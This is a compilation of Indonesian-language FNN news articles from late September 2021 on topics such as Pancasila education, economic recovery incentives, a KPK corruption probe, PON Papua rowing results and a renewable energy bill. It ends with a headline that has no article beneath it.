Makassar, FNN - Akademisi dari Universitas Muslim Indonesia (UMI) Makassar DR Hadawiah Hatita mengatakan, ideologi Pancasila harus direkatkan ke generasi milenial yang tantangannya lebih kompleks di masa depan. Hal itu dikemukakan Hadawiah di Makassar, Jumat, terkait dengan momentum peringatan Hari Kesaktian Pancasila. Menurut dia, ideologi Pancasila baik sejarah maupun upaya mempertahankannya harus diketahui dan dipahami oleh generasi milenial agar tidak mudah terpengaruh dengan pemahaman atau pengaruh dari luar yang ingin menghancurkan nilai-nilai luhur budaya bangsa serta persatuan dan kesatuan. Karena itu, lanjut dia, upaya penguatan ideologi Pancasila itu, harus senantiasa disosialisasikan mulai di tingkat rumah tangga sebagai organisasi terkecil hingga ke tingkat yang paling atas atau pengambil kebijakan. Dari segi jenjang pendidikan, juga sudah harus diperkenalkan mulai pendidikan usia dini (PAUD) hingga perguruan tinggi, agar faham radikal, destruktif dan teror dapat ditangkal secara dini. Hal senada dikemukakan Salma Tajang selaku Koordinator Kajian dari Lembaga Studi Kebijakan Publik (LSKP) Sulsel. Menurut dia, generasi milenial adalah motor penggerak masa depan, sehingga mulai sekarang harus disegarkan pemahaman ideologinya, agar perkembangan zaman tidak menggerus nilai-nilai budaya bangsa yang telah ada seiring dengan keberadaan Negara Kesatuan Republik Indonesia (NKRI). "Pembekalan ideologi itu dapat dimasukkan ke dalam kurikulum pendidikan, seperti halnya Jepang yang kemajuan teknologinya dan negaranya semakin maju, namun tidak meninggalkan ideologi dan budayanya," katanya. (mth)

Kemenkeu Optimistis Penyerapan Insentif Usaha PEN di Atas 100 Persen

Jakarta, FNN - Kepala Badan Kebijakan Fiskal (BKF) Kementerian Keuangan (Kemenkeu) optimistis penyerapan insentif usaha dalam program Pemulihan Ekonomi Nasional (PEN) 2021 bisa di atas 100 persen, mengingat realisasinya sampai 24 September sudah mencapai 94 persen. "Kami lihat ini akan mendekati 100 persen atau bahkan lebih penggunaan insentifnya oleh sektor usaha," ungkap Febrio dalam taklimat media secara daring di Jakarta, Jumat. Ia menjelaskan realisasi insentif usaha telah diberikan sebesar Rp59,08 triliun sejak Januari hingga 24 September 2021 dari pagu Rp62,83 triliun. Pemulihan ekonomi di Indonesia memang tidak sama antara satu sektor dengan sektor yang lainnya, namun sektor manufaktur yang mempekerjakan sekitar 20 juta masyarakat di Tanah Air merupakan salah satu bidang yang bisa pulih sangat cepat. Dengan demikian, Febrio mengaku sangat senang karena pabrik bisa melakukan protokol kesehatan yang sangat baik dan menjaga jarak meski produksi pabrik tetap bisa berjalan dan bisa menghasilkan kegiatan ekspor. "Bahkan waktu itu mayoritas sektor sudah pulih walaupun varian Delta sedang merebak, jadi ini luar biasa sekali," tuturnya. Kendati banyak sektor yang berhasil melakukan penyesuaian dengan sangat baik, dirinya berpendapat tak semua sektor bisa pulih dengan cepat lantaran masih adanya sentimen keamanan dari masyarakat maupun kerentanan terhadap penularan COVID-19. Beberapa sektor yang dimaksud yakni pariwisata dan transportasi yang belum bisa pulih dengan cepat sehingga masih membutuhkan insentif usaha. "Jadi ini yang kami buka dalam insentif kemarin, kami identifikasi dan kami lanjutkan pemberian insentif usahanya," tegas Febrio. Selain insentif usaha, Febrio juga meyakini bahwa realisasi mayoritas pos dalam program PEN 2021 akan mendekati 90 persen pada akhir tahun ini, sehingga program tersebut bisa benar-benar efektif menjaga kesehatan masyarakat hingga memastikan perlindungan sosial bagi masyarakat miskin dan rentan. (mth)

PLN NTT Gelar Ekspredisi Mutiara Hijau Dukung Pengembangan Kelor

Kupang, FNN - PT PLN (Persero) Unit Induk Wilayah Nusa Tenggara Timur menggelar kegiatan Ekspedisi Mutiara Hijau di Pulau Timor untuk melatih dan mendampingi kelompok tani dan pelaku Usaha Mikro Kecil Menengah (UMKM) dalam mengembangkan tanaman kelor. "Dalam kegiatan Ekspedisi Mutiara Hijau kami menyasar kelompok tani dan UMKM pada 12 desa yang tersebar di lima kabupaten se-daratan Pulau Timor untuk dilatih dan didampingi mengembangkan kelor," kata General Manager PT PLN (Persero) UIW NTT Agustinus Jatmiko di Kupang, Jumat. Ia mengatakan dalam kegiatan yang berlangsung selama 27 September-4 Oktober 2021 itu, pihkanya melibatkan perusahaan Dapur Kelor dan pelaku usaha kelor NTT yang memberikan pelatihan dan pendampingan. Agustinus menjelaskan, kegiatan perjalanan di lapangan ini dilakukan untuk mengetahui potensi kelor yang ada di Pulau Timor sekaligus sosialisasi serta pendampingan terkait pengembangan tanaman kelor yang baik dan benar agar kandungan nutrisi tetap terjaga untuk mendukung kebutuhan gizi bagi masyarakat. Kegiatan yang diinisiasi PLN melalui Program Tanggung Jawab Sosial dan Lingkungan (TJSL) ini, kata dia sebagai wujud kepedulian PLN terhadap pengembangan kelor sebagai tanaman khas NTT yang juga menjadi program prioritas pemerintah provinsi setempat. "Kami harapkan dengan adanya kegiatan ekspedisi ini dapat meningkatkan kompetensi petani kelor dan pelaku UMKM yang ada di Pulau Timor," katanya. Sementara itu Pendiri Dapur Kelor Kiki Krisnadi menyebutkan sejumlah program utama yang diusung dalam Ekspedisi Mutiara Hijau itu yakni kelor sebagai makanan, kelor sebagai pupuk organik. Selain itu, sosialisasi pencegahan kekerdilan (stunting) dan gizi buruk di desa, yang semuanya dijalankan untuk mendukung penuh NTT sebagai provinsi penghasil kelor, katanya. Kiki menambahkan ekspedisi ini diharapkan dapat menyajikan data potensi kelor di Pulau Timor berdasarkan nama dan alamat (by name by address) serta kapasitas secara benar dan faktual. "Jadi bukan data formalitas saja. Kami juga melibatkan para pelaku usaha kelor senior yang melakukan pendampingan untuk bersama-sama membantu percepatan program unggulan pemerintah provinsi ini dapat segera terwujud," katanya. (mth)

Mengenal RUTE APP, Platform Mobilitas Berbasis AI Buatan Anak Bangsa

Jakarta, FNN - Perusahaan teknologi bidang transportasi, PT Rute Lintas Indonesia menghadirkan platform "RUTE APP" sebagai aplikasi gawai berbasis kecerdasan buatan (artificial intelligent/AI) guna membantu mobilitas warga Jakarta. "RUTE APP" merupakan produk teknologi buatan anak bangsa yang dirancang untuk memberikan rekomendasi rute perjalanan terbaik, filter informasi kondisi darurat dari tweet transportasi, memantau posisi sarana transportasi umum, menyediakan navigasi lalu lintas dan menentukan posisi keberadaan layanan transportasi umum dengan tepat. Aplikasi itu bahkan mampu mengintegrasikan informasi moda transportasi di Jakarta seperti LRT, MRT, TJ, kereta bandara dan komuter dalam satu platform. “RUTE APP merupakan aplikasi mobilitas baru yang berkelanjutan di mana aspek keberlanjutan diupayakan melalui platform informasi yang berbasis AI dan ke depannya akan dilengkapi dengan fitur emisi karbon," kata Direktur Utama PT Rute Lintas Indonesia, Adrianus Satrio, dalam siaran resmi di Jakarta, Jumat. Adrianus Satrio menambahkan, "Sehingga pengguna RUTE APP yang sadar lingkungan dapat mengetahui besarnya emisi yang mereka timbulkan di setiap perjalanan yang dilakukannya." Selain itu, RUTE APP juga dapat memberikan informasi tentang insiden yang mengancam keselamatan pengguna transportasi umum semisal kecelakaan lalu lintas, kebakaran dan lainnya. Pada masa pandemi, RUTE APP juga dapat membantu pengguna transportasi publik dalam memastikan protokol kesehatan secara optimal melalui informasi jumlah penggunaan tempat duduk sebagai indikator kepadatan di angkutan umum. RUTE APP juga dilengkapi fitur on demand service yang bisa digunakan anak sekolah yang memerlukan shuttle atau bus sekolah, serta bisa dilacak oleh orang tua mereka. "RUTE APP merupakan aplikasi yang sangat cocok untuk mobilitas masyarakat perkotaan karena informasinya tidak hanya untuk trip planning, tetapi juga untuk safety security dan yang paling penting demand responsive. Sehingga membuat kegiatan mobiltias menjadi lebih mudah," demikian menurut Ketua Dewan Transportasi Kota Jakarta DTKJ Haris Muhammadun. (mth)

KPK Agendakan Pemeriksaan Bupati Hulu Sungai Utara

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) kembali mengagendakan pemeriksaan Bupati Hulu Sungai Utara Abdul Wahid dalam penyidikan kasus dugaan korupsi terkait pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara 2021-2022. "Pemanggilan dan pemeriksaan saksi untuk tersangka MRH (Marhaini) dkk di Kantor KPK Jakarta atas nama Abdul Wahid selaku Bupati Hulu Sungai Utara, Kalimantan Selatan," kata Plt Juru Bicara KPK Ali Fikri di Jakarta, Jumat. Penyidik KPK sebleumnya sempat memanggil Abdul Wahid pada Jumat, 24 September 2021, dalam perkara yang sama. Rumah Abdul Wahid di Kelurahan Kebun Sari, Kecamatan Amuntai Tengah, Hulu Sungai Utara, juga sudah digeledah pada 19 September 2021. Dari penggeledahan tersebut, tim mengamankan sejumlah barang yang terkait perkara. KPK telah menetapkan tiga orang tersangka dalam kasus tersebut, yaitu sebagai penerima, Maliki (MK) selaku Plt Kepala Dinas Pekerjaan Umum, Penataan Ruang, dan Pertanahan (PUPRP) Hulu Sungai Utara, sedangkan sebagai pemberi, yaitu Marhaini (MRH) dan Fachriadi (FH) dari pihak swasta/Direktur CV Kalpataru. Dalam perkara ini, KPK menyebut Dinas PUPR Kabupaten Hulu Sungai Utara merencanakan untuk dilakukan lelang proyek irigasi, yaitu Rehabilitasi Jaringan Irigasi Daerah Irigasi Rawa (DIR) Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan dengan harga perkiraan sendiri (HPS) Rp1,9 miliar dan Rehabilitasi Jaringan Irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dengan HPS Rp1,5 miliar. Sebelum lelang ditayangkan di Layanan Pengadaan Secara Elektronik (LPSE), Maliki diduga terlebih dahulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang dua proyek irigasi tersebut dengan kesepakatan memberikan sejumlah uang komitmen "fee" 15 persen. Saat penetapan pemenang lelang untuk proyek Rehabilitasi Jaringan Irigasi DIR Kayakah, Desa Kayakah, Kecamatan Amuntai Selatan dimenangkan oleh CV Hanamas milik Marhaini dengan nilai kontrak Rp1,9 miliar dan proyek Rehabilitasi Jaringan Irigasi DIR Banjang, Desa Karias Dalam, Kecamatan Banjang dimenangkan oleh CV Kalpataru milik Fachriadi dengan nilai kontrak Rp1,9 miliar. Setelah semua administrasi kontrak pekerjaan selesai lalu diterbitkan surat perintah membayar pencairan uang muka yang ditindaklanjuti oleh Badan Pengelolaan Keuangan dan Aset Daerah (BPKAD) dengan menerbitkan Surat Perintah Pencairan Dana (SP2D) untuk pencairan uang CV Hanamas dan CV Kalpataru yang dilakukan oleh Mujib sebagai orang kepercayaan Marhaini dan Fachriadi. Sebagian pencairan uang tersebut, selanjutnya diduga diberikan kepada Maliki yang diserahkan oleh Mujib sejumlah Rp170 juta dan Rp175 juta dalam bentuk tunai. (mth)

Meski Pandemi, "Q5 Steak & Bowl" Buka Cabang ke-14 di Bumi Marmer

Tulungagung, FNN - Tidak ada kata “tidak bisa” bagi pengusaha kuliner H. Muhammad Ali yang akrab disapa Gus Ali ini. Meski pandemi Covid-19, usahanya Q5 Steak & Bowl justru berkembang pesat. Selama masa pandemi Covid-19 yang mulai melanda Indonesia awal 2020 lalu, tak membuat Gus Ali berhenti membuka store atau gerai kuliner baru. Selama pandemi, owner RM Asap-Asap di Sidoarjo ini telah membuka 14 gerai Q5 Steak & Bowl. “Saya membuka warung di saat pandemi adalah warung sederhana dengan investasinya terjangkau, sehingga harga jual ke pelanggan masih tetap bisa dijangkau masyarakat,” ujar Gus Ali. “Jadi, walaupun dengan margin yang sedikit, tapi tetap bisa memperoleh keuntungan karena repeat order-nya banyak,” lanjut alumni Sastra Arab UGM Jogjakarta yang asli Pati, Jawa Tengah ini. Kini, bersama KH. Hamim Badruz Zaman, mantan Ketua PCNU Tulungagung, salah satu investor Q5 Steak, jebolan UIN Sunan Kalijaga ini mendirikan ouatlet ke-14 di Tulungagung. Selang beberapa minggu setelah pembukaan Q5 Steak & Bowl di Kota Mojokerto dan Lumajang, kini Q5 Steak buka lagi cabang yang ke-14 di Bumi Marmer, Tulungagung. Dalam beberapa kesempatan berbincang santai dengan Owner Q5 Steak & Bowl, H. Mohammad Ali yang akrab disapa Gus Ali, menuturkan, dalam periode penghujung tahun 2021 ini, Q5 Steak akan membuka cabangnya di seluruh kabupaten/kota di Jawa Timur, per satu minggunya 1 cabang. Setelah cabang ke 14 di Tulungagung ini, segera menyusul Q5 Steak di Jombang, Krian Sidoarjo, Bangil, Pasuruan dan Kota Pasuruan. Bisnis Resto berbasis steak yang dikelola Gus Ali ini record-nya melejit bak meteor. Beberapa kolega maupun pegawai Q5 Steak yang ditemui, rata-rata berdejak kagum melihat kemajuan usaha Resto yang berbasis waralaba ini. "Gus Ali itu kadung nemu jalan. Bisnisnya luar biasa lancar," ujar salah satu kolega Gus Ali. "Alhamdulillah, Q5 Steak & Bowl membuka lagi cabangnya yang ke 14, di Bumi Marmer, Tulungagung. Usaha atas dukungan para kiai dan habaib. Serta dukungan para infestor sehingga kami bisa membuka cabang yang baru lagi," ujar Gus Ali. Hadir dalam acara Soft Opening tersebut, para tamu undangan, kolega Gus Ali, para infestor juga para kiai. "Terima kasih kami sampaikan, para kiai yang hadir diacara Soft Opening Q5 Steak & Bowl. Diantaranya KH. Hamim Badruz Zaman, KH. Dimyati, Gus Suadi, KH. Maimun, KH. Amin, Gus Adib, KH. Imam Mawardi dan Gus Adi, yang memberikan suport dan dukungan" terang Gus Ali. Q5 Steak & Bowl cabang ke 14 di Tulungagung ini didukung para owner dan investor lokal Tulungagung. "Ini adalah kolaborasi yang baik. Dan mudah mudahan usaha dengan model bisnis berjama'ah ini kami akan tetap survive. Dan kami akan tetap menggalang dukungan hingga usaha ini menjadi ekonomi mandiri di Jawa Timur," ujar Gus Ali. Seperti diketahui, Q5 Steak & Bowl adalah model bisnis kuliner berjama'ah. Dengan model berjama'ah atau waralaba ini, bisnis kuliner yang berbasis steak ini laris manis "diserbu" pengunjung di setiap Resto Q5 Steak & Bowl di setiap daerah. Karena dalam perjalanannya maju pesat, Q5 Steak yang berpusat di Sidoarjoni ini selalu "diserbu" para infestor untuk bekerja sama karena manajemen usaha PT. IBM (Indonesia Berkah Mandiri) yang menaungi usaha Resto Q5 Steak & Bowl ini "sembodo" bisa membuktikan kinerjanya yang cukup memuaskan. Gus Ali, dalam satu kesempatan mengungkapkan, hingga akhir tahun 2021 ini Q5 Steak & Bowl akan mendirikan 30 cabang yang tersebar di seluruh kabupaten/kota di Jawa Timur. Dengan modal pertemanan, jaringan yang kuat, serta investor yang selalu siap menginvestasikan modalnya, insya Allah dalam limit waktu 3 bulan ini planing 30 cabang Q5 Steak & Bowl bisa teralisasi. Dalam kesempatan cangkruan di Resto Q5 Steak & Bowl dengan wartawan di Kota Mojokerto, Gus Ali mengungkapkan bahwa ia bisa menggalang modal hingga Rp 1 miliar dalan hitungan beberapa menit, untuk kepentingan mendirikan cabang baru Q5 Steak & Bowl. (mth)

Inspirasi Mesin Kopi untuk Pemula

Jakarta, FNN - PT Toffin Indonesia, perusahaan penyedia solusi bisnis industri hotel, restoran, dan kafe (horeka) meluncurkan dua mesin kopi murah guna mendorong pertumbuhan industri kopi. "Peluncuran mesin kopi terbaru ini diharapkan mampu membantu pemilik usaha untuk mewujudkan bisnis kedai kopi pemula (coffee shop start-up)," kata Indah Novyanti, Sales Manager Toffin Indonesia dalam keterangannya pada Jumat. Toffin memperkenalkan mesin kopi murah bermerek Allegra. Allegra terdiri dari tiga tipe yakni Allegra Uno untuk single group, Allegra Doppia untuk double group, dan tipe tertinggi Allegra Lyra. "Salah satu kendala seseorang untuk membangun bisnis kedai kopi adalah mahalnya sebuah harga mesin kopi. Banyak di antara mereka yang akhirnya mencari mesin murah dengan mengorbankan kualitas. Allegra adalah sebuah jawaban akan produk yang murah tapi memiliki fitur yang komersil," kata Indah. Allegra Uno misalnya, mesin satu grup ini memiliki heat exchanger boiler, yang memudahkan barista untuk menjadi multitalenta saat bekerja. Dengan pump vibration dan water tank 3 liter, mesin kopi ini cocok untuk mereka yang ingin membangun kedai kopi berkonsep to-go atau minimalis. Jika dibandingkan dengan mesin espresso dengan harga di bawahnya, Allegra Uno memiliki kualitas mesin yang sangat jauh di atasnya. Sementara dengan mesin espresso yang ada di atasnya, Allegra Uno justru memiliki spek yang setara dengan harga yang lebih ramah. Allegra Uno dibandrol dengan harga Rp19.000.000 per unit dan mampu membuat kopi lebih dari 50 gelas selama 12 jam operasional. Allegra Doppia memiliki teknologi pre-infusion, brewing system volumetric dan pump rotary. Mesin ini juga dilengkapi dengan double boiler sehingga kualitas espresso tetap terjaga. Dengan bentuk yang minimalis dan hemat tempat, mesin espresso ini bisa muat di mana saja serta mampu membuat kopi lebih banyak. Allegra Doppia dibandrol dengan harga Rp33.500.000 per unit. Sementara Allegra Lyra yang menjadi tipe tertinggi dari Allegra, memiliki keunggulan emergency button, serta lampu di kedua sisi yang bisa membuat mesin espresso terlihat elegan serta mewah. Allegra Lyra menjadi andalan coffee shop specialty yang butuh mesin kopi terjangkau tapi dengan penampilan yang di atas mesin sekelasnya. Indah mengklaim, ada empat keuntungan lainnya yang didapatkan apabila memilih mesin Allegra. Pertama, mesin ini dibuat di Italia yang terkenal akan kualitas mesin kopinya. Kedua, adanya jaminan garansi dan suku cadang selama satu tahun dari Toffin. "Ketiga, pemilik usaha akan mendapatkan pelatihan barista dan pengembangan menu secara gratis. Keempat, pemilik usaha juga berkesempatan mendapatkan harga spesial berupa paket bundling dengan mesin penggiling kopi," kata dia. Sementara itu, Viki Rahardja, seorang coffee influencer, menuturkan, mesin kopi murah mampu membangkitkan kembali geliat bisnis kedai kopi di Indonesia. Apalagi mesin-mesin ini juga memiliki penampilan yang menarik, sehingga pemilik usaha bisa mendapatkan performa terbaik secara rasa dan kualitas. Dengan ukurannya yang minimalis, Allegra Uno dan Doppia cocok digunakan terutama untuk pemilik usaha yang ingin bergabung dengan cloud kitchen. Pemilik usaha bisa menjalankan bisnis tanpa mengandalkan gerai fisik. Mereka hanya perlu hadir di berbagai platform delivery online hingga ecommerce yang memiliki jaringan luas. "Di masa pandemi banyak kedai kopi yang mulai mengecangkan ikat pinggang untuk menekan biaya operasional. Mesin Allegra mampu menjadi alternatif pilihan untuk merintis usaha tanpa harus mengeluarkan biaya dan tempat yang besar," kata dia. (mth)

Perjuangan Parlihan, Balian Muda Entaskan Warga Adat dari Buta Aksara

Tanjung, FNN - Senja itu, beberapa pemuda tengah berkumpul di rumah Harun, salah satu Balian pada komunitas adat Dayak Pitap di desa Ajung, Kabupaten Tabalong, Kalimantan Selatan. Mereka duduk melingkar dengan hikmat mengelilingi berbagai sajian persembahan dengan suasana sedemikian sakral saat sang Balian membacakan mantra pada sajian persembahan. Rupanya senja itu dilaksanakan acara Piduduk dan pemuda-pemuda tersebut adalah para peserta "belajar" penuturan ajaran bagi Balian atau biasa disebut Balian muda. Berdasarkan Wikipedia, Balian adalah orang yang bekerja pada upacara adat Dayak, yang bertugas untuk berurusan dengan dunia atas dan dunia bawah dari para roh manusia yang telah meninggal. Balian juga dapat bertugas memanggil sangiang sebagai juru damai dalam suatu peristiwa yang menjadi topik pada suatu upacara adat, tugas ini seperti yang dilakukan oleh tukang tawur dalam upacara adat tersebut. Salah satu lelaki muda yang ada dalam kegiatan Piduduk adalah Parlihan, yang ​tak lain adalah anak bungsu Harun dan merupakan peserta termuda dari "sekolah" Balian tersebut. "Acara Piduduk dilakukan oleh seseorang atau sekelompok orang ketika sudah menyelesaikan materi yang dipelajari," ungkap Parlihan, sambil memperlihatkan foto hasil dokumentasi saat acara tersebut berlangsung. Parlihan memang berusaha untuk mengabadikan setiap momen adat apapun yang terjadi di desanya. Hal ini ia lakukan bukan semata-mata karena ayahnya merupakan Balian, bukan pula karena ia mengenyam pendidikan formal paling tinggi diantara para peserta "sekolah" Balian lainnya. Hal ini dilakukan semata-mata karena ia peduli dengan kampung halaman dan adat budaya nenek moyangnya. Buta Aksara Tak hanya terkait masalah adat, kepedulian Parlihan sangat besar pada hal-hal yang terkait kemajuan masyarakat. Contohnya, saat Direktorat Pendidikan Masyarakat dan Pendidikan Khusus, Kementerian Pendidikan dan Kebudayaan melaksanakan program Keaksaraan Dasar bagi Komunitas Adat Terpencil/Khusus 2020 di Komunitas Adat Dayak Pitap, Parlihan langsung menyambut dengan bersemangat. Sebelum program berjalan, ia turun langsung mendampingi Yayasan Banua Cendikia yang menjadi pelaksana program untuk sosialisasi ke berbagai perangkat adat, perangkat desa dan anggota masyarakat secara umum agar mendukung pelaksanaan kegiatan. Bersamaan dengan itu, ia menyatakan diri bergabung untuk menjadi salah satu tutor dari program tersebut dan kemudian memimpin tim untuk melakukan survey identifikasi warga buta aksara di desa Ajung. "Kenapa kami orang-orang tuha ini masih harus belajar membaca dan menulis", menjadi pertanyaan yang paling sering dilontarkan. "Dan kita harus menjelaskan pelan-pelan. Itu ditanyakan, karena kan kalau berhitung, semua orang di kampung pasti sudah pandai, biar tidak bisa baca-tulis tapi kalau berhitung semua pandai,” kisah Parlihan tentang pengalamannya saat sosialisasi program pada anggota masyarakat. Sungguh bukan usaha yang mudah memastikan masyarakat tak lagi buta aksara, mengingat masyarakat desa Ajung terdiri dari sekitar 176 kepala keluarga tinggal menyebar berjauhan di wilayah dengan kontur yang berbukit-bukit. Selama kurang lebih 1,5 bulan, Parlihan dan tim terus meyakinkan masyarakat hingga akhirnya target 100 warga belajar dapat tercapai di 3 Desa dan pembelajaran dapat dilaksanakan dengan baik. Dalam setahun terakhir ini, setiap 2 malam dalam sepekan Parlihan akan berkendara sekitar 30 menit melalui jalan tanah yang terjal dan menanjak, untuk mengajarkan membaca, menulis dan berhitung di wilayah Tempurau. Segala kesulitan dan keterbatasan yang ada, tidak menyurutkan semangat dan kegigihan Parlihan. "Meski materi yang diajarkan kadang-kadang lama pahamnya, tapi semangat warga untuk belajar membuat semangat saya juga tetap terjaga.” ujar Parlihan dengan senyum simpulnya. Semangat untuk memperjuangkan masyarakat melek aksara, dan posisinya sebagai Balian muda mengantarkan Parlihan terpilih sebagai Tokoh Adat Penggerak Literasi 2020 oleh Kementerian Pendidikan dan Kebudayaan. Sebuah penghargaan bergengsi, yang tidak hanya meningkatkan kebanggaan diri Parlihan dan masyarakat Desa Ajung saja, namun lebih jauh menjadi kebanggaan bagi Kabupaten Balangan dan Seluruh Kalimantan Selatan. Namun, itu tak mengubah jati diri Parlihan sebagai pemuda Dayak Pitap dari Desa Ajung yang rendah hati dan tak banyak bicara. Parlihan memang merupakan pemuda yang cenderung pendiam. Guru SD Kecil Libaru Sungkai Balangan ini tidak banyak bicara. Namun, saat diajak berbincang tentang pelestarian adat dan tradisi, pendidikan dan kemajuan masyarakat, maka matanya akan berbinar dan senyumnya makin melebar. Ia sangat terbuka dengan ide-ide, namun dalam pelaksanaan ide-ide tersebut, ia tetap berusaha menyesuaikan dengan kondisi dan karakteristik masyarakat. Sebagai contohnya yaitu “Sekolah” Balian yang diselenggarakan ayahnya. Pada awalnya, pembelajaran "sekolah" Balian hanya mengandalkan tuturan langsung, semua materi diajarkan secara lisan. Saat ini pelan-pelan dan secara bertahap, Parlihan mulai menuliskan beberapa materi pembelajaran sebagai pegangan para Balian muda saat belajar. Ia berharap, berkas materi ini tidak hanya sebagai pegangan belajar saja, tetapi sebagai arsip budaya masyarakat. Saat ini, Parlihan sedang merintis Rungkuk Belajar, sebuah tempat yang diharapkan nantinya akan menjadi pusat informasi dan belajar masyarakat. Sebuah pondok sederhana, yang dibangun di atas tanah pribadinya, sudah berdiri dengan bantuan dari PT. Adaro Indonesia. Begitu juga sejumlah buku anak dan dewasa, sebagian merupakan buku sumbangan, sudah siap diajak menggerakkan literasi masyarakat Desa Ajung. Meski sederhana, masih serba terbatas dan pelan-pelan, ia berharap apa yang dilakukannya saat ini menjadi salah satu jalan untuk menguatkan jati diri masyarakat dan kemajuan pendidikan anak-anak di Desa Ajung. (mth)

Papua Tambah Satu Emas dari Cabang Dayung PON Papua

Jayapura, FNN - Kontingen Papua menambah perolehan satu medali emas yang diperebutkan pada cabang olahraga dayung Pekan Olahraga Nasional (PON) Papua 2021 di Teluk Youtefa, Kota Jayapura, Jumat. Stevani Maysche Ibo menjadi orang yang mempersembahkan emas bagi tuan rumah pada nomor kayak satu 200 meter putri. Ini menjadi emas kedua Stevani di PON Papua setelah raihan emas pada nomor kayak satu 500 meter putri. Pada babak final kayak satu 200 meter, Stevani sudah langsung memimpin sejak awal perlombaan hingga akhirnya finis tercepat dengan waktu 42,486 detik. Raudani Fitra dari Riau meraih perak dengan waktu 44,764 detik, sedangkan perunggu menjadi milik Riana Yulistrian asal Jawa Barat dengan catatan 45,624 detik. “Persaingan sangat ketat dari start sampai finis tapi saya yakin bisa dapat medali emas untuk masyarakat Papua,” ujar Stevani usai lomba. Kontingen Papua saat ini telah mengumpulkan lima medali dari cabang dayung PON Papua, yakni tiga emas, satu perak, dan satu perunggu dan berada di posisi kedua perolehan medali cabang dayung. Dua hari sebelumnya, Papua merebut dua emas dari Stevani di nomor kayak satu 500 meter putri dan Dorsila Kumbubui/Syome Aledayane yang turun pada nomor kayak dua 500 meter putri. Jawa Barat masih memimpin perolehan medali dayung dengan empat emas, dua perak, dan tiga perunggu. Dayung merupakan salah satu cabang olahraga PON Papua yang bergulir lebih awal sebelum upacara pembukaan yang baru akan dimulai pada 2 Oktober. Laga perdana dibuka pada 27 September dan ditutup pada 13 Oktober. Cabang dayung memperebutkan 40 medali emas yang terdiri atas 15 emas dari nomor rowing, 16 canoeing, dan sembilan dari nomor traditional boat race atau perahu naga. (mth)

Komisi VII DPR: RUU EBT Ditargetkan Selesai Akhir 2021

Jakarta, FNN - Ketua Komisi VII DPR Sugeng Suparwoto mengatakan Rancangan Undang-Undang tentang Energi Baru dan Terbarukan (RUU EBT) ditargetkan selesai pada akhir 2021. "Ini akan menjadi legacy yang baik sekali karena kita memasuki abad climate change. Maka, energi kita akan mengarah ke green and renewable energy," ujarnya saat kunjungan kerja Komisi VII DPR RI ke Pembangkit Listrik Tenaga Air (PLTA) Poso, Sulawesi Tengah, Jumat. Dia menerangkan bahwa energi hijau dan terbarukan merupakan sebuah keharusan sebagai upaya pengembangan energi dan bukan pilihan. Menurut Sugeng, energi fosil sudah menjadi permasalahan seperti dari sisi keterbatasan jumlah dan juga polutif. Lebih lanjut, ia ingin memastikan bahwa Indonesia cukup memiliki keandalan energi dan renewable energy yang bersih. Sugeng menyebut bahwa potensi EBT di Indonesia mencapai 420 GW. "Cepat atau lambat, fosil kita akan kurangi signifikan," katanya. Di sisi lain, dia mengapresiasi pembangunan PLTA Poso I dan II oleh PT Poso Energy, yang dibangun dengan investasi lebih dari Rp15 triliun dan juga mengandalkan pekerja dalam negeri. Tak dipungkiri juga terdapat sebagian kecil pekerja asing yang terlibat dalam teknis pembuatan turbin. Biasanya, tutur Sugeng, berbagai PLTA dibangun oleh pihak asing seperti dari Jepang dan Prancis. Adanya PLTA Poso, menurut dia, dianggap sebagai karya anak bangsa dan menunjukkan bahwa Indonesia mampu mengembangkan potensi EBT secara mandiri. (mth)

Wapres Ma'ruf Minta Untirta Jadi Mitra Pemerintah Ciptakan SDM Unggul

Jakarta, FNN - Wakil Presiden Ma’ruf Amin meminta Universitas Sultan Ageng Tirtayasa (Untirta) Banten dapat mendukung upaya Pemerintah dalam menciptakan sumber daya manusia (SDM) unggul dan berkualitas. Hal itu disampaikan Wapres Ma’ruf Amin saat menyampaikan sambutan pada acara Dies Natalis Ke-40 Universitas Sultan Ageng Tirtayasa melalui konferensi video dari kediaman resmi wapres Jakarta, Jumat. Upaya untuk menciptakan SDM unggul melalui lulusan yang berkualitas tersebut dapat dilakukan Untirta dengan mengembangkan riset dan inovasi dengan memanfaatkan teknologi informasi. "Semoga di usia yang matang ini Untirta dapat terus mengembangkan riset dan inovasi dengan memanfaatkan teknologi informasi, serta menjadi mitra Pemerintah dalam membangun SDM unggul," ujar Wapres. Wapres juga mengapresiasi prestasi yang diraih Untirta terkait kepedulian terhadap gerakan kampus hijau dan pelestarian lingkungan. Wapres berharap Untirta mampu mewujudkan Integrated Smart and Green (It’S Green) University, yang unggul, berkarakter dan berdaya saing di kawasan ASEAN pada 2030. "Saya mengucapkan selamat kepada Untirta atas penganugerahan The Best New Participating University, dengan meraih peringkat UI Green Metric ke-30 sebagai sustainable university in Indonesia pada tahun 2020," tuturnya. Wapres juga mengucapkan selamat atas prestasi para mahasiswa Untirta yang meraih medali emas pada kejuaraan inovasi dan penelitian start-up di ajang World Turkey Competion 2021. Dalam kesempatan tersebut, kembali Wapres mengingatkan tentang pandemi COVID-19 yang belum berakhir. Wapres meminta Untirta terus mendukung program Pemerintah dalam percepatan penanganan pandemi. "Saya mengajak seluruh sivitas akademika Untirta, utamanya para dosen dan seluruh mahasiswa, untuk mendukung program Pemerintah dalam percepatan penanganan pandemi COVID-19, menyukseskan program vaksinasi dan sekaligus mendorong percepatan pemulihan ekonomi nasional untuk membangun Indonesia lebih baik," ujarnya. Dalam acara Dies Natalis Ke-40 tersebut, juga diikuti Presiden Joko Widodo secara virtual, yang berpesan agar seluruh mahasiswa dan tenaga pendidik di Kampus tersebut semakin kreatif dan berkualitas. "Saya berharap Untirta terus berinovasi dalam menghadapi dunia yang penuh disrupsi, mampu menyiapkan SDM Unggul yang kompetitif serta menghasilkan ilmu pengetahuan yang kontributif bagi kemajuan Indonesia," kata Presiden. Turut hadir dalam acara tersebut ialah Menteri BUMN Erick Thohir, Gubernur Banten Wahidin Halim dan Bupati Pandeglang Irna Narulita Dimyati. (mth)

PON Papua - Chemistry Kuat si Kembar Lena-Leni di Area Takraw

